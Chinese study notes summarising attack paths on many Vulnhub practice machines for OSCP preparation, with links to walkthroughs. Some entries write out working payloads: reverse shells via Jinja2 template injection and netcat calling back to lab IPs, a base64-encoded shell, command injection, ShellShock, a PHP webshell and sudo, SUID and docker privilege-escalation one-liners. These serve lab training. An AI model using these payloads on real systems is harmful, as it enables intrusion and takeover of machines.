我这里主要记录了一个大概的思路、关键词,方便遇到类似内容的时候检索。
Vulnhub的内容和OSCP考察点当然不是完全一样的,所以有些脑洞的杂项我就一带而过了,不浪费时间。
TJnull list
个别靶机获取不到IP:
vulnhub靶机获取不到ip_vulnhub靶机扫描不到ip_汉南帝的博客-CSDN博客
sar2html
- 命令注入漏洞
- 计划任务提权
https://blog.csdn.net/qq_43264813/article/details/113248579
LiterallyVulnerable
- FTP匿名登录anonymous
- 网站样式错误改hosts
- wpscan自定义密码爆破
- Wordpress后台getshell
- SUID提权,控制环境变量
- sudo -l提权
https://mr-potatoz.github.io/2020/03/20/LiterallyVulnerable/
https://lifesfun101.github.io/2019/12/10/LiteraryVulnerable-walkthrough.html#wpscan
Misdirection
- 8080端口web预留后门
- sudo -l
- sudo -u user /bin/bash(需要弹出shell后)
- /etc/passwd可写,openssl passwd evil,su过去
https://download.vulnhub.com/media/misdirection/Misdirection-Walkthrough.pdf
prime1
- 扫目录找到secret.txt,image.php
- 通过返回内容长度FUZZ,?file=读文件,读/etc/passwd有提示
- ssh无法直接登录用户
wpscan --enumerate u
找到wordpress后台用户,登录- 后台插件不可写,主题里有一个隐蔽的可写文件,getshell
- sudo -l的文件需要root不知道密码
- 低版本系统通用漏洞提权
uname -a
Linux ubuntu 4.10.0-28-generic
https://blog.csdn.net/weixin_46128614/article/details/104039451
election
- root/toor进phpmyadmin
- 翻找到后台口令,登录找到log,SSH连接
- (也可以直接扫到log用口令连接)
- suid找到Serv-U程序,切进目录找到版本
- searchexploit,从exploit-db看使用教程
https://zhuanlan.zhihu.com/p/375148532
Glasgow Smile 2
- 提示
.sh
,wfuzz FUZZ.sh
或gobuster -x sh
找到joke.sh
- web页面drupal 8 searchsploit 44448.py getshell
- 内网看ss -tan有没扫到的8080端口,socat端口转发再访问
socat TCP4-LISTEN:18080,fork TCP4:127.0.0.1:8080 &
- 源码提示nginx apache2,源码中找到LFI
- 读nginx配置文件找到路由,不在/html下所以继续包含index.php
- 猜了个很扯的谜,然后给了密码ssh登录,后面逆向的不做了
https://ksdpmx.bitbucket.io/2020/08/11/glasgow-smile-2-513/
https://h0j3n.medium.com/vulnhub-glasgow-smile-2-1419ebe66a3b
healthcare
- 开放21和80端口
- 大字典扫目录找到/openemr,searchexploit该版本有注入
- 搜个时间盲注脚本,注到用户密码
- 登进去无法RCE,回过来登FTP
- 是一个全局FTP,可以给web目录下put webshell
- (从reverse shell里可以再su到注出的用户,等于web FTP ssh密码全一样)
- SUID找到名字奇怪的文件,strings发现调用fdisk
- 添加环境变量,控制环境变量下的fdisk为
/bin/bash
https://hitesh1210.github.io/posts/Healthcare-Writeup/
secarmy_village
- 多个用户对应多个关卡
upx -d
脱壳,strings找到关键信息- telnet连接1337端口,输入口令返回token
- 脚本解码多个qrcode
- john -w=rockyou.txt解密用户hash
- web结合ssh目录,命令执行
- xordecode解密编码
- pcapng文件直接strings找密码
- pwnme程序,BoF覆盖变量提权
https://marmeus.com/post/Secarmy20#flag-6
DevGuru1
- git泄露database.php找到Adminer密码
- Bcrypt加密无法解密,但是生成后替换密文
- October CMS后台getshell
- /var/backups/app.ini.bak找到另一个库的密码,登Adminer
- 修改第二个站(Gitea)的用户加密方式和密文,登录
- searchexploit认证后getshell,需要去除URL后的/再打exp
- sudo -l找到sqlite3,但是不能直接以root运行
- 结合sudo version < v1.28漏洞提权
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
https://blog.yarsalabs.com/vulnhub-devguru1-walkthrough/
Tiki
- (TIki CMS前台Getshell)
- smb共享文件里发现提示口令
- 登录后在CMS中找到CVE提示
- 通过CVE登录admin发现用户SSH凭据
- sudo -l发现该用户可以执行所有命令,直接sudo su
https://yufongg.github.io/posts/Tiki-1/#initial-foothold
webdeveloper
- /ipdata目录下发现.cap流量包
- 从POST /wp-login.php找到口令,登录WP后台getshell
- LinPEAS找到数据库密码,复用为用户SSH密码
- sudo -l发现tcpdump,在lo网卡产生流量,利用提权执行命令
- (lxd group privilege escalation)(需要在lxd组)https://reboare.github.io/lxd/lxd-escape.html
https://windsorwebdeveloper.com/web-developer-1-vulnhub-walkthrough/
solidstate
- 4555端口james admin,从网上exp中找到默认密码root/root
- 有个exp能直接打,但是需要1click:用户登录,无法利用
- 在4555端口列用户,重置用户们的密码
- telnet 110端口登账户翻邮件找到mindy用户SSH密码,nc可能不行
- USER john / PASS pass / LIST / RETR 1
- 登录SSH发现是个啥也不能用的restricted shell
ssh mindy@10.10.10.51 bash
绕过restricted shellssh mindy@192.168.101.42 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"
find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null
找到一个可写文件- 猜测是在/var/spool/cron/crontabs/root中定时执行,没权限看不到
- 脚本内容是清空/tmp目录,测一下发现确实定时在跑
- 脚本可写,所以更改os.system()内容就行,可以echo > 覆盖
- 也可以把这restricteds shell升级到完全交互式shell,凑合能用
system.os('cat /root/root.txt > /tmp/flag')
https://dominicbreuker.com/post/htb_solidstate/
https://blog.csdn.net/elephantxiang/article/details/122528066
Tr0ll02
- robots.txt找到多个类似目录,只有页面图片大小不同
- 下载异常图片,strings找到提示
- base64批量解码
cat answer.txt | base64 -d > decode.txt
- 文本去重
uniq -u decode.txt > unique.txt
- Tr0ll/Tr0ll登录ftp
- fcrackzip -u -D -p unique.txt lmao.zip爆破zip密码
- ssh -i privatekey noob@ip私钥登录
- ssh会马上断开,看-v调试信息其实连上了
- ShellShock over SSH
ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
- 低版本内核但是没直接提权成功
- setuid 0找到二进制文件,有一个带input参数的可以Segement fault
- BoF inside of env and un-setting the environment variables
https://resources.infosecinstitute.com/topic/vulnhub-machines-walkthrough-series-tr0ll-2/
https://www.doyler.net/security-not-included/tr0ll-2-walkthrough-you-gotta-pay-the-troll-toll
Escalate_Linux
- 预留后门弹shell
- user3: SUID提权
- 覆盖环境变量提权(读/etc/shadow后john或
echo 'echo "user1:12345" | chpasswd' > ls
,修改密码) - user1: sudo -l 发现(ALL : ALL) ALL,直接切
- user8: sudo -l 发现
(root) NOPASSWD: /usr/bin/vi,sudo vi -c ':!/bin/sh' /dev/null
- user7: gid=0(root),可写
-rw-rw-r-- 1 root root 2648 Jun 5 2019 /etc/passwd
- mysql: root/root翻找到mysql用户密码,找到/etc/mysql下密码文件
- cat /etc/group root:x:0:user4,user7可以修改passwd
- user5: NFS提权
https://blog.csdn.net/qq_34801745/article/details/104144580
Pinky’s palace 02
- hint给了三个端口,排列组合knock后扫到隐藏端口
- 定制用户名字典爆破post form,下载到id_rsa私钥
- ssh密钥登录需要密码,先用ssh2john从文件中提取hash
ssh2john id_rsa > hash.txt
john hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt
- 用户名要改成小写,然后enter passphrase
-rwsr----x 1 pinky www-data 13384 Mar 16 2018 qsub
- 当前用户不可读,所以还是要打到web权限
- 想的找密码登wp后台getshell,其实直接找web可写文件就行
- 获得www-data权限,拖走qsub逆向看密码和命令执行
./qsub ";/bin/bash #"
命令拼接注入,获取到pinky权限./qsub '$(nc -e /bin/bash 192.168.16.143 6666)'
- 但是还不在pinky组,需要把kali的公钥写到靶机的pinky里
echo [SSH_PUBLIC_KEY] > /home/pinky/.ssh/authorized_keys
- (或者直接newgrp)
-rwxrwx--- 1 demon pinky 113 Mar 17 2018 /usr/local/bin/backup.sh
- 所有者是demon,猜测有一个demon的定时任务在跑,写sh弹shell
- 找到所有者是demon但ps aux中root在跑的panel文件
- 这服务开在31337端口,BoF提权
https://www.c0dedead.io/pinkys-palace-v2-walkthrough/
https://blog.csdn.net/qq_34801745/article/details/104070421
zico2
- phpLiteAdmin弱口令admin登录,searchsploit找到利用方法
- 但是shell传到的不是web目录
- 从主页一个元素找到view.php?page=,路径穿越读shell
- 执行命令不好用,用php一句话反弹shell的马
- 文件里找到zico密码,su过去,sudo -l看到能用tar,提权
https://steflan-security.com/vulnhub-zico-2-walkthrough/
hackme
- 最基本的UNION SELECT注入
- (除了这里是个模糊查询,需要%闭合,这个WP里都没提到)
- 登录superadmin上传webshell
- 找到密码
mysql -e '\! /bin/sh' -u root -p
还是web权限 - suid文件直接提权
https://blog.csdn.net/elephantxiang/article/details/122888309
https://blog.csdn.net/weixin_45527786/article/details/105714687
LoadOfTheRoot
- 之扫到了22端口,但是尝试连接会提示knock 1,2,3
- knock -v 192.168.146.51 1 2 3
- 很慢的时间盲注,还是用了sqlmap
- 凭据登web啥也没有,连ssh,SUID文件开启了ASLR很难BoF提权
- root运行的mysql可以load raptor_udf2提权,凭据从login.php里找(这个linpeas没发现)
- Ubuntu 14.04 3.19.0 39166提权
https://yufongg.github.io/posts/Lord-of-the-Root-1.0.1/
decoy
- 爆zip密码直接rockyou
- fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt save.zip -v
- 覆盖环境变量提权失败,strings可以看到调用的绝对路径
- 这些可执行文件看了看也都没有写权限
- 看第二个参数能不能利用,service的apache2也没有写权限,好像没法覆盖这个服务
- vi实际调用的vim,但是-c参数没法拼接
- 结果这些都不能利用,是root定时运行着一个chkrootkit的提权
假WP:没有log路径https://resources.infosecinstitute.com/topic/sunset-decoy-vulnhub-ctf-walkthrough/
https://www.doyler.net/security-not-included/vulnhub-sunset-decoy-walkthrough
djinn3
- _{{7*'7'}}_显示7777777,所以是Jinja2而非Twig
- {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.146.55 8888 >/tmp/f').read() }}
这里我的hexo博客 双大括号标签与 nunjucks 模板引擎的标签发生了冲突,只能整个放代码块里了:http://www.jouypub.com/2019/184012d6f6847138055a342ff942b743/
- pspy发现sanit运行的py,反编译pyc构造ssh私钥免登录
- sudo -l有adduser,sudo adduser test -gid=0加一个root组的用户
- root组对/etc/sudoers可读,发现一个不存在的用户可以执行apt-get,添加这个用户然后提权
https://www.aldeid.com/wiki/VulnHub-Djinn-3
https://blog.csdn.net/weixin_43784056/article/details/107068610
djinn1
- 1337端口有1000道算术题,兔子洞
- 7331端口用big.txt扫到命令执行,有过滤
echo+YnVzeWJveCBuYyAxOTIuMTY4LjE0Ni41NSA4ODg4IC1lIC9iaW4vYmFzaA==+|+base64+-d|sh
- 在web的py源码里找到nitish凭据,切过去sudo -l
- (sam) NOPASSWD: /usr/bin/genie ,同时是个SUID文件
- genie -h给的选项里都没法利用,需要man genie看到个-cmd
- sudo -u sam /usr/bin/genie -cmd id 直接进了sam的shell,没想明白
- 在(lxd)组,但是lxd提权到第二步就提示config.yml没权限
- (root) NOPASSWD: /root/lago 可执行不可读
- .pyc反编译找到源码逻辑 (思路:python的题目环境下多关注pyc文件)提权
https://www.cnblogs.com/sn1per/p/11984455.html
nullbyte
- phpmyadmin是兔子洞,没口令,页面gif里信息是web目录
- 爆破key,注入到user口令,phpmyadmin登不上,连SSH
- web目录下的SUID文件,linepeas扫不到
- echo “/bin/bash -p” > ps 覆盖环境变量提权
https://markclayton.github.io/nullbyte-vulnhub-walkthrough.html
Glasgow Smile
- joomla scan扫到版本没有exp利用成功
- joomla后台口令joomla/Gotham,用户名忘了试joomla
- joomla后台extention getshell
- web文件有密码,mysql试了root和mysql又没试joomla,查到rob密码
- ssh登rob看到加密留言,rot13不对,rot1解码(凯撒)切abner用户
- abner用户的bash_history提到一个压缩包,find找到,解压密码没爆出来,是ssh密码
- 切到penguin,pspy发现root执行一个文件,改文件内容提权
https://www.infosecarticles.com/glasgow-smile-1-vulnhub-walkthrough/
https://www.kielvaughn.com/ctfs/2020-06-25-glasgow-smile-walkthrough/
w34kn3ss
- nmap -A扫描可以看到SSLcert的commonName=weakness.jth,加进hosts
- (碰到HTTPS的站要敏锐)
- 再访问提示用户名,目录下有key.pub和提示openssl 0.9.8c-1生成
- searchsploit能根据公钥找到公开的配对私钥,登录SSH
- 目录下python可执行文件,这次没有pyc,直接拖回来uncompyle6反编译,找到n30密码
- 在sudo组,sudo -l ALL,有密码直接切
https://yufongg.github.io/posts/W34KN3SS/
Pyexp
- python exec() 命令执行
import pty; pty.spawn("/bin/bash")
https://www.infosecarticles.com/pyexp-vulnhub-walkthrough/
Seppuku
- web目录里找到用户名和密码字典,爆破ssh
- ssh -t ‘bash –noprofile’ 绕过rbash
- sudo -l发现用户A可以以root执行用户B目录下的文件,分别用密码和密钥登录两个用户构造利用
DriftingBlues6
- robots.txt里找到后台路径和.zip后缀提示,扫到压缩包爆破
- textpattern后台文件上传getshell
- 内核版本3.2.0-4 脏牛40839提权(是建立firefart用户)
TommyBoy
- 非常多的信息收集,修改UA,使用Crunch生成自定义格式的密码字典
Moria
- web目录下随机返回文本,猜测在读一个txt,扫到txt根据提示抓包看knock
- web自动对几个低端口在做knock,将端口号转ASCII码得到密码,脑洞
- 根据文本提示用用户名和密码登FTP,没有下载权限但可以看到一个web目录
- 访问看到一组用户名密码,源码里有加密方式和盐,john解密(dynamic_6, refer to: https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC),尝试登ssh
- 存在./ssh/id_rsa,尝试ssh root@127.0.0.1成功(这个linpeas也只能标红,看不出是哪个用户的key)
https://blog.csdn.net/qq_34801745/article/details/104163657
IMF
- 页面源码提示,拼接路径,根据页面信息的用户名,php弱类型绕过登录,报错注入
- GIF89A图片马文件上传,限制了函数使用,可以<?php $c=$_GET[‘c’]; echo
$c
; ?>或者weevely - 注意木马后缀和Content-Type,这里实际有一个.htaccess将gif解析到了php,但是浏览器访问403看不到
- AddType application/x-httpd-php .php .gif AddHandler application/x-httpd-php .gif
https://g0blin.co.uk/imf-vulnhub-writeup/
https://blog.csdn.net/shenyu_1126/article/details/110188872
Kioptrix1
- 139端口Samba 2.2.1a有9924.rb或者10.c可以直接打到root,但是nmap扫不出这个版本,需要用msf的smb_version或者wireshark抓包或者其他工具扫出这个版本
- 或者nmap扫到443端口有mod_ssl 2.8.4这个模块,47080.c打到apache权限后再3.c内核提权(kernel 2.4 RedHat)
Kioptrix2
- 登录框万能密码,ping命令注入弹shell
- kernel 2.6.9提权但是只有9545.c可用,这里要注意searchspolit只能搜2.6,写到小版本就搜不到
Kioptrix3
- lotuscms RCE,拿web权限找数据库密码(linpeas没发现,手工翻)登phpmyadmin
- 找到更多口令,登不同ssh账户找信息(广度优先),找到一个SUID编辑器,改文件提权
https://www.cnblogs.com/starrys/p/14660428.html
HackinOS
- wordpress但是upload.php文件上传,源码(记得下拉)有hint看到检测MIME和webshell随机重命名规则
- 弹shell后看到ip172和其他环境说明在docker,wp-config看到mysql凭据,连进去找到信息
- docker里没ssh,从外面再ssh进宿主机,然后docker提权或者SUID文件环境变量提权
https://blog.csdn.net/valecalida/article/details/121366341
Vulnerable docker
- wordpress密码爆破后台getshell,地址是172在docker里,在内网扫C段端口(还缺个好工具)(不知道fscan只做扫描让不让用)
- (把扫描器丢内网扫,而不是把流量代理进去扫,因为很不稳定)
- 搭建frp反代出来,访问扫描到的8022端口,发现是web模拟的docker shell,弹shell到kali
- -sT:使用TCP扫描,因为我frp配的是tcp协议
- /.dockerenv存在说明还是一个docker容器,
- /var/run/docker.sock存在说明可以使用docker remote API未授权访问漏洞
- 或
./docker run -it -v /:/host ubuntu bash
挂载宿主机目录 https://xz.aliyun.com/t/8558#toc-4
https://mp.weixin.qq.com/s?__biz=MzI2MDI0NTM2Nw==&mid=2247487509&idx=1&sn=563b65936055600a5dae78bb14430c48
https://arz101.medium.com/vulnhub-vulnerable-docker-easy-9b5d0d567531
DC9
- 登录框注入得到一批口令,登录后看到File not exist提示,fuzz尝试LFI
- 从../../../../../proc/sched_debug看到有knockd(本来扫端口没看到22就要警觉knock)
- 读配置文件/etc/knockd.conf看端口顺序
for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done
- 或
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done
两种方便的knock方法 - 组合前面口令爆破ssh,登上去找信息再组合再爆,新的用户sudo -l有一个文件可以利用
- 从上级目录(这里不用反编译)找到源码,是追加写文件的功能,那么可以写/etc/passwd
- 或/etc/sudoers joeyt ALL=(ALL) ALL
https://zhuanlan.zhihu.com/p/348045207
DC2
- wordpress文章提示cewl,根据爬取网页生成字典(-v 可verbose),爆破用户口令
- 两个用户登后台都没有admin权限没法shell,再登SSH
- 这里的rbash用ssh bash或者-t ‘bash –noprofile’都没用了,echo $PATH看到有限的可执行命令
BASH_CMDS[a]=/bin/sh;a
/bin/sh赋值给a,执行aexport PATH=$PATH:/bin/:/usr/bin
导入环境变量- Linux Restricted Shell绕过技巧总结 - FreeBuf网络安全行业门户
- 提示su,切换用户 sudo -l git提权
DC6
- Wordpress文章内容提示plugin,但是wpscan -vp/ap/p都扫不到
- 根据靶机提示的密码规则爆Wordpress用户口令,进后台没有额外提示信息,只多个Activity monitor插件
- searchsploit打插件漏洞拿到web权限,wp-config.php里密码没用到,可以读用户目录,找到用户1密码
- sudo -l可以用用户2执行backup.sh文件,又可编辑文件,弹用户2shell,sudo -l (root) nmap提权
lin.security
- Linux提权专项练习,获取不到IP看https://segmentfault.com/a/1190000039013575?sort=votes,bob/secret登录SSH作为入口点
- sudo -l一堆bin文件可以用,SUID文件可以用,
- /etc/passwd里有哈希要熟练:直接替换或者john –wordlist=rockyou,不要硬爆
ICMP
- Monitor web系统一眼直接getshell,用户目录下提示crypt.php
- 这里走偏了去web里找加密了,当前目录下有个不可读文件夹,就没觉得异常
- 应该直接读/crypt.php,文件夹不可读但是里面的文件可读
- 找到密码登用户,sudo -l hping3可以利用,大家都写的读root私钥,但其实可以直接读flag
- 第一个终端
sudo hping3 --icmp 127.0.0.1 -d 100 --sign signature --file /root/proof.txt
- 第二个终端
sudo hping3 --icmp 127.0.0.1 --listen signature --safe
其他
- Spydersec : 杂项, js解码转ASCII,cookie里目录,视频里隐藏TrueCrypt文件
- Gaara : base58解码,ssh爆破,gdb SUID提权
- BSides-Vancouver : wordpress口令爆破后台getshell计划任务提权
- OSCP:/secret.txt解码获得私钥登SSH,SUID提权或覆盖环境变量或写服务调用文件或lxd提权
- SoSimple: wordpress插件RCE,用户目录.ssh密钥登录
- funbox7: -x .php扩大信息搜集范围,webshell后SSH爆用户口令
- EVM: 开了一堆端口,结果就是WP rockyou爆破getshell隐藏文件含有root密码,网页还是坏的